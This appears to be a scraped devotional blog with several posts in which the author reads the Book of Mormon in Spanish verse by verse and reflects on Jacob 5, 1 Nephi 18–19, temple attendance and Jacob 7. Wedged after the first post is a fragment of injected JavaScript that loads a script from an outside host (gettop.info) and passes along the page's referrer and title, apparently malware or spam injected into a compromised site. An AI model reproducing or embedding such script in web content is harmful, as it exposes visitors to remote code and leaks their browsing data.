Jacob 5 – A verse at a time

I am continuing my goal of reading the Book of Mormon in Spanish. Let’s not forget that I don’t speak Spanish (just a minor detail). I have made it into Jacob by skipping all the Isaiah passage. Those passages are hard even in your native language. Well I didn’t look ahead and suddenly I hit Jacob 5 -The Allergory of the Tame and Wild Olive Tree. Yikes.

What I have learned from my project of translating verse by verse is that there is a lot of meaning missed when you cruise through the scriptures. I am hoping I will find that as well in all 77 verses of Jacob 5. Otherwise I have long road ahead of me. At the rate I am going that will be almost a solid month of digging, pruning and dunging.

But as with the rest of my project I have already found some cool insights that I would have missed if I was moving at a more normal pace. So strap in for Jacob 5 -101 – Insights gained from a snail pace through the most repetitive scripture chapter.

Lesson 1: From a non Spanish speaker – So to understand the verse I read it in Spanish, then return and use google translate to translate the words I don’t know (Oh maybe that is like all of them 🙂 ) then I read from the Book of Mormon in English. In verse 7 it reads “el amo de la vina”. I threw that into translate and found out that this is the term for the Master of the Vinyard. Well at first I left off the “el” and so amo translated as love. How fitting that the word for “master” has its roots in love. So many times a master may be harsh and domineering. But we are taught in the Doctrine and Covenants 121 that a true leader should operate only through love.

41 No power or influence can or ought to be maintained by virtue of the priesthood, only by persuasion, by long-suffering, by gentleness and meekness, and by love unfeigned;

42 By kindness, and pure knowledge, which shall greatly enlarge the soul without hypocrisy, and without guile—

Once again we find that the Savior is the perfect example of leadership.

Stay tuned for the next installment of crawling through the Vinyard with Bobo – The Weather Clown.d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

The Lord is accepting of our service.

Today I was reading in 1 Nephi 19:6. Yes if you are keeping track of my progress you will realize that my project of reading the Book of Mormon in Spanish is going sloooowly. But I am learning. Because I am going so slowly; reading it out loud in Spanish and translating to English I am find the nuggets that I have missed before.
Anyway today I noticed this phrase.
“And now, if I do err, even did

they err of old”.

This is Nephi speaking with regard to his commandment to write on plates. You might think that Nephi is just trying to excuse his faults but actually he goes on to explain that he is not justifying poor behavior but explains that he isn’t holding back from following the Lord’s commandment because he isn’t able to be perfect.
In our Church service we and others are asked to do things that we are not capable of being perfect at. The Lord constantly calls imperfect people and refines them as they work. The reminder that came to me very clearly is that since this is the Lord’s way then I need to be accepting of others and supportive as they struggle to serve in callings which are difficult for them. The Lord is merciful and accepts whatever we are capable of doing. This is a reminder to me to be gentle

The Mountain of the Lord

i am reading 1 Nephi 18 where Nephi describes building a boat that will carry his loved ones half way around the world. One of the biggest problems is that , oh wait, he is not a boat builder and he can’t enroll in ship building classes at the local college and no one lives nearby to teach him. The chapter comments that he doesn’t build “after the manner of men”. I guess there are two ways for him to learn then. First could be trial and error. The only

problem with that method is that if he errs then all his family ends up on the bottom of the ocean.
The other option is to learn from the Lord. In verse 3 it says.”And I, Nephi, did go into the mount oft, and I did pray oft unto the Lord; wherefore the Lord showed unto me great things “
What struck me about this verse is that it can also describe a pattern for our lives. Do we go up to the “mount oft” to learn how to build our lives. The mountain of the Lord – the Temple- is available to all of us so that we can learn great things and know how to build our lives after the manner of God. We can build our lives on our own which will mean lots of learning by trial and error. Those lives will be after the manner of men. If we want to build our lives after the manner of God then we need to go to the” mount oft” so that He can teach us and guide us. These past two years we have tried to attend the Temple every week. It has been a time investment but the payback has been way more than the investment. Yes we have still had stormy periods in our life’s passage and some of those storms have been hurricane like but had we not had the guidance and strength that we received in the Temple those trials would have been harder to endure and we would not have learned how to overcome them.
What I learn as I attend The temple reminds me of my real purpose on this earth and helps me to make

decisions on where I should spend my time. I encourage all of you to set a goal for regular temple attendance and to plan so that it is a priority. Sis Jones once taught us that she sits down at the start of each month and schedules her attendance because if you don’t make a regular plan you will find yourself adrift and not putting temple attendance as the priority that it should. It takes effort to ascend the mountain. It takes sacrifice of sleep and time but it is worth the effort. We are building lives that will carry families safely to their Eternal lives. The Lord can guide those lives so that no one sinks and everyone can have safe passage.

Jacob 7
1 And now it came to pass after some years had passed away, there came a man among the people of Nephi, whose name was Sherem.

2 And it came to pass that he began to preach among the people, and to declare unto them that there should be no Christ. And he preached many things which were flattering unto the people; and this he did that he might overthrow the doctrine of Christ.

3 And he labored diligently that he might lead away the hearts of the people, insomuch that he did lead away many hearts; and he knowing that I, Jacob, had faith in Christ who should come, he sought much opportunity that he might come unto me.

Verse three describes how hard Sherem works to overthrow the doctrine of Christ and persuade others not to believe in Christ. If the opposition is work this hard to thwart the work of Christ how much harder should we working to teach and convince people that the Gospel is true.
